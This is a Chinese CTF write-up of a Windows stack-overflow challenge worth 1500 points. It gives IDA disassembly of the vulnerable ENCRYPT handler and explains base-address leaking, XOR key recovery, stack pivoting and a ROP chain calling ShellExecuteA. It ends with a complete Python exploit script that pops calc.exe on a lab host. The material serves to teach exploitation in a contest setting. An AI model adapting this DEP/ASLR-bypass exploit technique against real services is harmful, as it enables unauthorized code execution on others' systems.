@pnck
2015-09-27T23:19:21.000000Z
字数 10695
阅读 3201
writeup
1500分呢,其它题都是100 200最高也就500,一题高帅富还拿了fb(没有fb奖励就是):)
其实也不算难的栈溢出,虽然windows上的没怎么做过,但毕竟只是栈溢出,没有canarry(secure_cookie)代码正常写(gctf。。),难度破天也就那样。
题目要求能过windows的DEP+ASLR,在rop大行其道的今天过dep+aslr已经是pwn标配要求了吧,只要代码段间的相对偏移是固定的,gadget不会跳偏,想办法拿到ImageBase就行。
程序有加壳,aspack,似乎由于aslr的锅脱掉壳之后导入表还是坏的,貌似也不是导入表的问题,而是代码中引用的地址就是硬编码固定的,这里没有深究,反正能用IDA读到代码就行,毕竟exp打的是没脱壳的原版本。
程序功能是开启一个tcp服务端,根据客户端连接发送的请求代码完成3项功能
if ( _WSAFDIsSet(s, &readfds) ){memset(buf, 0, 0x5ACu);if ( recv(s, buf, 0x5AC, 0) <= 0 )return closesocket(s);v2 = strchr(buf, '\r');if ( v2 )*v2 = 0;v3 = strchr(buf, '\n');if ( v3 )*v3 = 0;if ( !strncmp(buf, aEncrypt, 8u) ) // "ENCRYPT "{v10 = (int)&buf[8];enc_buf(s, (int)&buf[8]); //<== !}if ( !strncmp(buf, aStatus, 7u) ) // "STATUS\0"{v4 = GetModuleHandleA(0);memset(buf, 0, 0x5ACu);sprintf_s(buf, 0x5ACu, Format, v4);send(s, buf, strlen(buf), 0);}if ( !strncmp(buf, aExit, 4u) ) // "EXIT"{memset(buf, 0, 0x5ACu);printf(aSessionExitSoc, s);sprintf_s(buf, 0x5ACu, aSessionExitS_0, s);result = send(s, buf, strlen(buf), 0);if ( s == -1 )return result;return closesocket(s);}}
服务端接收最多0x5ac大小的数据然后strncmp判断进来的头几个字节进行不同的操作,其中发送STATUS可以返回该服务端运行的基址(。。故意构造的利用点),这为后面计算所有gadgets的偏移带来了极大的便利,EXIT是关闭连接退出,没什么好说的,问题出在ENCRYPT操作里(吐槽一下这个比对,开始写exp的时候发ENCRYPT老是没反应,数一数ENCRYPT应该是7个字符啊,怎么比对了8个,仔细一看字符串,后面还有个空格。。)
比对完成后
UnPackEr:013D124D 6D8 lea ecx, [ebp+buf+8] ; Load Effective AddressUnPackEr:013D1253 6D8 mov [ebp+pBuffAt8], ecxUnPackEr:013D1256 6D8 mov eax, [ebp+pBuffAt8]UnPackEr:013D1259 6D8 push eax ; intUnPackEr:013D125A 6DC mov eax, [ebp+sock]UnPackEr:013D125D 6DC push eax ; sUnPackEr:013D125E 6E0 call enc_buf ; 13D10C0
调用下一个函数enc_buf,传入之前recv的buff(砍掉前面ENCRYPT\x20那8个字符)和socket
UnPackEr:013D10C6 204 mov eax, [esp+204h+pBuffAt8]UnPackEr:013D10CD 204 movzx ecx, word ptr [eax] ; Move with Zero-ExtendUnPackEr:013D10D0 204 push ebxUnPackEr:013D10D1 208 push esiUnPackEr:013D10D2 20C add eax, 2 ; AddUnPackEr:013D10D5 20C push edi ; 一直是sockUnPackEr:013D10D6 210 push eax ; 读入buff砍掉开头2bytesUnPackEr:013D10D7 214 lea eax, [esp+214h+var_200] ; Load Effective AddressUnPackEr:013D10DB 214 movzx ebx, cx ; Move with Zero-ExtendUnPackEr:013D10DE 214 push eax ; new bufferUnPackEr:013D10DF 218 mov dword ptr [esp+218h+buf], ecxUnPackEr:013D10E3 218 call exp_able ; 13D1030UnPackEr:013D10E8 218 mov esi, [esp+218h+s]UnPackEr:013D10EF 218 mov edi, ds:sendUnPackEr:013D10F5 218 add esp, 8 ;
进来之后将buff的前两个字节当做一个word放进ebx,同时push一个0x200大小的新缓冲区及旧缓冲区砍掉开头两字节后作为参数调用exp_able函数(随便起了个名=。=)注意这时缓冲区只开了0x200,远远不及接收数据用的0x5ac大小缓冲区,此时栈空间
-00000205 db ? ; undefined-00000204 buf db 4 dup(?)-00000200 var_200 db 512 dup(?)+00000000 r db 4 dup(?)+00000004 s dd ?+00000008 pBuffAt8 dd ?+0000000C
顺便一题,exp_able这个函数有趣地将ebp当做通用寄存器了,并没有开辟新的栈帧,也没有使用任何内存作为临时变量
UnPackEr:013D1030 exp_able proc near ; CODE XREF: enc_buf+23pUnPackEr:013D1030UnPackEr:013D1030 new_buff = dword ptr 4UnPackEr:013D1030 old_buff = dword ptr 8UnPackEr:013D1030UnPackEr:013D1030 000 cmp ds:rand_generated, 0 ; Compare Two OperandsUnPackEr:013D1037 000 push ebpUnPackEr:013D1038 004 mov ebp, [esp+4+new_buff] ; <==ebp作为通用寄存器UnPackEr:013D103C 004 push esiUnPackEr:013D103D 008 push ediUnPackEr:013D103E 00C jnz short RAND_GEN_ED ; Jump if Not Zero (ZF=0)UnPackEr:013D1040 00C push 0 ; TimeUnPackEr:013D1042 010 call __time64 ; Call ProcedureUnPackEr:013D1047 010 push eax ; unsigned intUnPackEr:013D1048 014 call _srand ; Call ProcedureUnPackEr:013D104D 014 add esp, 8 ; AddUnPackEr:013D1050 00C mov esi, offset rand_arrayUnPackEr:013D1055UnPackEr:013D1055 loc_13D1055: ; CODE XREF: exp_able+41jUnPackEr:013D1055 00C call _rand ; Call ProcedureUnPackEr:013D105A 00C mov edi, eaxUnPackEr:013D105C 00C shl edi, 10h ; Shift Logical LeftUnPackEr:013D105F 00C call _rand ; Call ProcedureUnPackEr:013D1064 00C add eax, edi ; AddUnPackEr:013D1066 00C mov [esi], eaxUnPackEr:013D1068 00C add esi, 4 ; AddUnPackEr:013D106B 00C cmp esi, offset rand_array_end ; Compare Two OperandsUnPackEr:013D1071 00C jl short loc_13D1055 ; Jump if Less (SF!=OF)UnPackEr:013D1073 00C mov ds:rand_generated, 1
接下来首先生成了0x20个32bit随机数(rand_array_end地址与rand_array相差0x80),保存在13DF968起始的数组里,然后用ebx/4向上取整后的值作为计数上限,将old_buff和随机数组的数进行异或后放进new_buff里,也就是ENCRYPT后紧跟的2字节作为长度,4字节一组将旧的大缓冲区与一组随机数依次加密后放进新的小的缓冲区里,如果发送数据需异或的部分比0x200长,就会产生溢出,溢出的还不是循环的这个函数,它的callerenc_buf(害队友啊)
UnPackEr:013D107A RAND_GEN_ED: ; CODE XREF: exp_able+EjUnPackEr:013D107A 00C mov eax, ebx ; 注意ebx是上一个函数赋值的,buff开头的2字节作为循环长度UnPackEr:013D107C 00C cdq ; EAX -> EDX:EAX (with sign)UnPackEr:013D107D 00C and edx, 3 ; Logical ANDUnPackEr:013D1080 00C add eax, edx ; AddUnPackEr:013D1082 00C sar eax, 2 ; Shift Arithmetic RightUnPackEr:013D1085 00C test bl, 3 ; Logical CompareUnPackEr:013D1088 00C jz short L1 ; Jump if Zero (ZF=1)UnPackEr:013D108A 00C inc eax ; 这一段是/4向上取整UnPackEr:013D108BUnPackEr:013D108B L1: ; CODE XREF: exp_able+58jUnPackEr:013D108B 00C xor edx, edx ; Logical Exclusive ORUnPackEr:013D108D 00C test eax, eax ; Logical CompareUnPackEr:013D108F 00C jle short loc_13D10B9 ; FAILEDUnPackEr:013D1091 00C mov esi, [esp+0Ch+old_buff]UnPackEr:013D1095 00C mov ecx, ebpUnPackEr:013D1097 00C sub esi, ebp ; Integer SubtractionUnPackEr:013D1099 00C lea esp, [esp+0] ; Load Effective AddressUnPackEr:013D10A0UnPackEr:013D10A0 L2: ; CODE XREF: exp_able+87jUnPackEr:013D10A0 00C mov edi, edxUnPackEr:013D10A2 00C and edi, 1Fh ; Logical ANDUnPackEr:013D10A5 00C mov edi, ds:rand_array[edi*4]UnPackEr:013D10AC 00C xor edi, [esi+ecx] ; Logical Exclusive ORUnPackEr:013D10AF 00C inc edx ; Increment by 1UnPackEr:013D10B0 00C mov [ecx], ediUnPackEr:013D10B2 00C add ecx, 4 ; AddUnPackEr:013D10B5 00C cmp edx, eax ; EAX是计数上限UnPackEr:013D10B7 00C jl short L2 ; Jump if Less (SF!=OF)
那么溢出机制搞清楚了,发送'ENCRYPT '+16bit长度+0x200长度的辣鸡字符+返回地址即可劫持eip,其中填充字串和返回地址需要先被异或过,这样加密时异或回去才是我们想要的。那么怎么获得用于异或的随机数呢,注意到随机数生成过程有个flag,一次生成后不会再改变,所以可以先发送0x80个\0获取随机数数组,再用获取的随机数异或payload
可以控制eip后开始想办法执行目标程序calc.exe,服务端在收到客户连接时会利用ShellExecuteA将自己重新运行一次(模仿fork?但你端口是不可复用的啊,这也是故意构造的利用点,能不能专业点……)找个地方写calc.exe然后让ShellExecuteA执行它就好
先看ShellExecuteA调用的部分
UnPackEr:013D1530 2CC push 5 ; nShowCmdUnPackEr:013D1532 2D0 push 0 ; lpDirectoryUnPackEr:013D1534 2D4 push 0 ; lpParametersUnPackEr:013D1536 2D8 lea ecx, [esp+2D4h+Filename] ; Load Effective AddressUnPackEr:013D153A 2D8 push ecx ; lpFile <==UnPackEr:013D153B 2DC push offset Operation ; "open"UnPackEr:013D1540 2E0 push 0 ; hwndUnPackEr:013D1542 2E4 call ds:ShellExecuteA ; Indirect Call Near Procedure
中间有个lea的过程干扰栈空间布局,所以我们跳下一行push ecx,找一个pop ecx , ret的gadget就行,由于此处是壳内代码,所以ropper -f _UnPacked.exe --search 'pop ecx'搜索脱过壳的程序,然后找了个比较近的
0x013d1849: pop ecx; ret; <==这个,RVA=0x18490x013e380b: pop ecx; ret 4;0x013e3a82: pop ecx; ret;
最后的问题就是如何定位calc.exe这个最终payload字串了,以往linux的pwn,有plt表可以跳,有got表可以劫持,这俩表的相对偏移还都是固定的,windows的导入表结构不一样,很难找到直接去调用send的方法,也就没法调用那些用于输出的函数来获知溢出时栈的位置。得想办法把字串写到固定的位置,再把这个位置传给ShellExecuteA
同时还有一个问题,从enc_buf函数溢出后eip就失去控制了,由于不像linux有PLT表的jmp function结构能直接按栈里存的地址返回,windows下eip飞了之后得想办法回到可以溢出的地方重新控制eip,不然纯粹找gadgets拼个能将不确定的栈地址传递给ShellExecuteA来调用是很繁琐的
(写这篇writeup的时候已经做完很久了,写到这的时候又停下来思考了一下纯gadget拼payload的方法,最后花了2个多小时重新写了个纯gadget拼出传递栈中的'calc.exe'的exp,然后再看看gadgets的附近,居然有一堆rop专用的gadgets,显然也是出题人留下的“标准方法”,这个的分析就不写在这了,留在脚本里有兴趣自行研究吧,有趣的是纯gadget调用的计算器不会使原程序崩溃,而是看起来很正常地结束,之前用的方法弹完计算器就崩得不成样子了)
观察一下调用enc_buf和exp_able的代码,变量定位都是以ebp作为基址寄存器的,所以这里可以用栈迁移的手法,把ebp指向新的地址,然后调用recv读取第二次发过去的payload写入新栈区,再进入enc_buf溢出一次,即可拿回eip的控制权,同时由于新栈地址是我们给定的,所以也很容易定位第二次发过去的calc.exe。能供写入的固定地址也很容易找,放随机数的那块静态变量区就有很多空闲的位置,再找个pop ebp的gadgets,也有很多
0x013da0be: pop ebp; pop ecx; pop ebx; ret 4;0x013da0be: pop ebp; pop ecx; pop ebx; ret 4; call eax;0x013da0be: pop ebp; pop ecx; pop ebx; ret 4; call eax; ret;0x013d9fa8: pop ebp; pop edi; pop esi; pop ebx; mov esp, ebp; pop ebp; ret;0x013d3392: pop ebp; push ecx; ret;0x013d21dc: pop ebp; ret 4;0x013d6f23: pop ebp; ret 8;0x013d10bb: pop ebp; ret; <== 这个
可以最终整理思路了:
1. 发送STATUS获得服务端运行的镜像基址
2. 发送'ENCRYPT '+\x80\x00(长度)+0x80个\x00获取随机数组
3. 发送'ENCRYPT '+2字节payload1长度+与获得的随机数组异或后的payload1,payload1为0x200个'A'(填充)+pop_ebp的gadget + 新找的地址(加些修正,使recv完调用enc_buf时栈结构能与之前相似,这里修正大小是+1740+len('calc.exe\x00'),这个修正大小可以在动态调试时很方便地计算)+调用recv的地址(选择了013D11F4[1])+调用recv时应有的栈结构
4. 此时前置布局工作都已做好,把calc.exe和用于第二次溢出的payload2发过去就行。发送内容为calc.exe\x00+'ENCRYPT '+2字节payload2长度+异或后的payload2,payload2:200个'B'(填充)+pop ecx的gadget + 新找地址(calc字串放在最前面了) + 调用ShellExecuteA的地址[2] + 调用ShellExecuteA时应有的栈结构
附上脚本(包括纯gadgets的部分,注释掉了):
#!/usr/bin/env python2.7#encoding:utf-8from zio import *from time import sleeptarget = ('172.16.83.128',2994)#target = ('172.16.82.132',2994)io = zio(target,timeout=500,print_read=COLORED(REPR,'cyan'),print_write=COLORED(REPR,'red'))io.readline()#welcomeio.write('STATUS')#get img_basebase = io.readline()base = int(base[base.find('@')+2:-1],16)recv_addr = base + 0x11f4w_buffer = base + 0xe69cw_buffer_size = 700 # buffer sizepop_ebp = base + 0x10bbpop_ecx = base + 0x1849 # for push ecx,ecx --> w_bufferexec_addr = base + 0x153a#boomprint 'base_addr:',hex(base)print 'recv_addr:',hex(recv_addr)print 'writable_addr:',hex(w_buffer)hsz = 'ENCRYPT 'io.write(hsz+l16(0x80)+'\x00'*0x80)rand_group = io.read(0x82)[2:]print 'RAND_GROUP:',rand_groupsleep(0.1)def enc(data):e_data = ''for i,b in enumerate(data):e_data += chr(ord(b)^ord(rand_group[i % len(rand_group)]))return e_datapayload = 'A'*0x200 + l32(pop_ebp) + l32(w_buffer+1740+len('calc.exe\x00')) + l32(recv_addr) #change ebp to new place ,point to new data and back to recvpayload += l32(w_buffer) + l32(w_buffer_size) + l32(0) + 'ADDITION1'+'ADDITION2' # recv(sock,w_buffer,buffer_size,0)#pure gadgets to call ShellExecuteA'''mov_eax_esp = base + 0x1001sub_eax_4 = base + 0x100a #这个gadget附近都是出题人留下的gadgets……pop_ebx = base + 0x1022push_eax_call_ebx = base + 0x445apop_ecx_pop_ecx = base + 0x1848add_esp_0x98 = base + 0x13951 #这个要不要都行,把calc放到开头,空间已经够了#如果calc放在靠后的位置,有可能被ShellExecuteA内部的操作覆盖掉,导致最终利用失败payload3 ='HEAD'+'calc.exe' + l32(0) + 'A'*(0x200-4*4) + l32(mov_eax_esp) + l32(sub_eax_4)*(1+127) #一直摸到开头payload3 += l32(pop_ebx) + l32(pop_ecx_pop_ecx)#ebxpayload3 += l32(push_eax_call_ebx) + l32(add_esp_0x98) + 'F' * 0x98 + l32(exec_addr) + l32(0)*3 + l32(5)io.write(hsz+l16( len(payload3) ) +enc(payload3) )#payload1 --> write in calc stringprint 'PAYLOAD3 FINISHED.\nlength:', hex(len(payload3))exit()'''#---------------------------'''这个payload的缺点是填充太多了,为防止ShellExecuteA内部将calc字串覆盖,需要大量的sub eax gadget使字串远离esp(),如果用add esp的gadget,一样要填进一大堆字符,还好recv的缓冲区足够大,不然有可能辛辛苦苦设计完rop链,要么esp离calc字串太近致其被覆盖,要么payload超出缓冲区大小跑不完,那就坑了……当然rop链肯定不止一种设计方法,这里只是能用的一种'''#总共只有两条sub eax,用到的这个还是出题人故意留的。。#0x013d100a: sub eax, 4; ret;#0x013d5c0a: sub eax, ecx; ret;#---------------------------io.write(hsz+l16( len(payload) ) +enc(payload) )#payload1 --> write in calc stringraw_input('wating recv...')sleep(0.1)payload2 = 'B'*0x200 + l32(pop_ecx) + l32(w_buffer) # eip come back and set ecxpayload2 += l32(exec_addr)+ l32(0) + l32(0) + l32(5)#io.write('PAYLOAD2!'+'LOL'*250)io.write('calc.exe\x00'+hsz + l16(len(payload2)) +enc(payload2)) #payload2 --> exec calcprint '\n\n===============================EXP FINISHED!==============================\n\n\n'exit(0)io.interact()
UnPackEr:013D11E6 6D8 push 0 ; flags↩
UnPackEr:013D11E8 6DC push 5ACh ; len
UnPackEr:013D11ED 6E0 lea eax, [ebp+buf] ; Load Effective Address
UnPackEr:013D11F3 6E0 push eax ; buf
UnPackEr:013D11F4 6E4 push edi ; <==这里
UnPackEr:013D11F5 6E8 call ds:recv ; Indirect Call Near Procedure
UnPackEr:013D1530 2CC push 5 ; nShowCmd↩
UnPackEr:013D1532 2D0 push 0 ; lpDirectory
UnPackEr:013D1534 2D4 push 0 ; lpParameters
UnPackEr:013D1536 2D8 lea ecx, [esp+2D4h+Filename] ; Load Effective Address
UnPackEr:013D153A 2D8 push ecx ; lpFile <==这里
UnPackEr:013D153B 2DC push offset Operation ; "open"
UnPackEr:013D1540 2E0 push 0 ; hwnd
UnPackEr:013D1542 2E4 call ds:ShellExecuteA ; Indirect Call Near Procedure